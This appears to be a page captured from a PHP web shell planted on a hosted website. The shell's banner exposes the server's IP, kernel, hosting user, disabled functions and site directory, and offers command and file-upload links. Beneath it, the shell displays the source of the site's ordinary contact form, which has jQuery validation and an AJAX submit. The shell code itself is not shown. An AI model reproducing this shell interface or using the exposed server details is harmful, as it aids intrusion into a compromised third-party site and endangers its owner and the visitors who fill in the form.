|
Server IP : 145.79.210.100 / Your IP : 216.73.216.101 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!----font awesome cdn-------->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<link rel="stylesheet" href="./sass/style.css">
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<title>Contact Us</title>
<style>
.second .parent {
display: flex;
align-items: start;
justify-content: space-between;
}
.second .parent .left_part {
width: 40%;
}
.second .parent .right_part {
width: 55%;
}
.second .parent .left_part .logo_part {
width: 100%;
}
.second .parent .right_part {
margin-left: 0;
}
@media (max-width: 750px) {
.second .parent .left_part {
width: 100%;
}
.second .parent .right_part {
width: 100%;
}
}
#nav-wrap{
opacity: 1;
animation: none;
}
#first{
display: block;
}
.logo #second{
display: none;
width: 36%;
}
/****** Loader*******/
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
.loading-container {
position: relative;
height: 5rem;
width: 5rem;
}
.loading-progress {
position: absolute;
height: 50%;
width: 50%;
border-radius: 50%;
border: 5px solid #758db736;
border-radius: 50%;
&::before {
content: "";
position: absolute;
height: 100%;
width: 100%;
border-radius: 50%;
border: 5px solid transparent;
border-top-color: #ACCAFF;
top: -5px;
left: -5px;
animation: spin 1s linear infinite;
}
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
</style>
</head>
<body>
<?php include('menu.php');?>
<section class="second">
<h3 class="caption" data-aos="fade-up">Contact Us<span class="underline"></span></h3>
<span data-aos="fade-up">We'd love to</span>
<h1 data-aos="fade-up">hear from</h1>
<div class="parent">
<div class="left_part">
<h1 data-aos="fade-up">you</h1>
<div class="logo_part" data-aos="fade-up">
<!-- <img src="images\map-image.jpg" alt=""> -->
<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3501.6859683094453!2d77.28943438067321!3d28.639172499999997!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x390cfb5726e8a8e1%3A0xaa3ebd919775e61d!2sExcentia%20Infra!5e0!3m2!1sen!2sin!4v1721049503469!5m2!1sen!2sin" width="100%" height="900" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
</div>
</div>
<div class="right_part" data-aos="fade-up">
<form id="form">
<input data-aos="fade-up" type="text" placeholder="First Name" id="fname" name="fname"/>
<input data-aos="fade-up" type="text" placeholder="Last Name" id="lname" name="lname"/>
<input data-aos="fade-up" type="text" placeholder="Phone Number" id="ph_no" name="ph_no" onkeypress="check(event)" maxlength=10/>
<input data-aos="fade-up" type="email" placeholder="Email" id="email" name="email"/>
<textarea data-aos="fade-up" name="message" id="message" cols="30" rows="7" placeholder="Message"></textarea>
<div id="error" ></div>
<div data-aos="fade-up" class="submit_btn">
<button type="submit">Submit Now
<div class="loading-container" id="loader" style="display:none;">
<div class="loading-progress"></div>
</div>
</button>
</div>
</form>
</div>
</div>
</section>
<?php include('footer.php');?>
<script src="./js/commonMenu.js"></script>
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script>
AOS.init({
duration:1500
});
</script>
<script>
window.onscroll = function() {myFunction()};
logo_1= document.querySelector("#first");
logo_2=document.querySelector("#second")
function myFunction() {
if (document.documentElement.scrollTop > 50) {
logo_1.style.display="none";
logo_2.style.display="block";
document.querySelector(".nav_wrap").style.backgroundColor="rgba(255,255,255,1)"
} else {
logo_1.style.display="block";
logo_2.style.display="none";
document.querySelector(".nav_wrap").style.backgroundColor="transparent"
}
}
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script>
function check(event){
let code = (event.which) ? event.which : event.keyCode;
if(code < 48 || code > 57){
event.preventDefault();
}
}
$("#form").on("submit", function(event){
event.preventDefault();
let fname = $("#fname").val().trim();
let lname = $("#lname").val().trim();
let ph_no = $("#ph_no").val().trim();
let email = $("#email").val().trim();
let message = $("#message").val().trim();
if(fname == ""){
$("#error").show().html('<p style="color:red">Please enter first name</p>').delay(3000).fadeOut();
return false;
}
else if(lname == ""){
$("#error").show().html('<p style="color:red">Please enter last name</p>').delay(3000).fadeOut();
return false;
}
else if(ph_no == ""){
$("#error").show().html('<p style="color:red">Please enter Phone no</p>').delay(3000).fadeOut();
return false;
}
else if(email == ""){
$("#error").show().html('<p style="color:red">Please enter email id</p>').delay(3000).fadeOut();
return false;
}
else if(message == ""){
$("#error").show().html('<p style="color:red">Any message for us</p>').delay(3000).fadeOut();
return false;
}
else{
let formData = new FormData(this);
$("#loader").show();
$.ajax({
method: 'post',
url: 'ajax_contact.php',
data: formData,
contentType: false,
processData: false,
success: function(data){
$("#loader").hide();
if(data == 1){
$("#error").show().html('<p style="color:green">Form Submitted Successfully. We will get back to you soon.</p>').delay(10000).fadeOut();
$("#form")[0].reset();
}else{
$("#error").show().html('<p style="color:red">Something wrong. Try again later.</p>').delay(10000).fadeOut();
}
}
})
}
})
</script>
</body>
</html>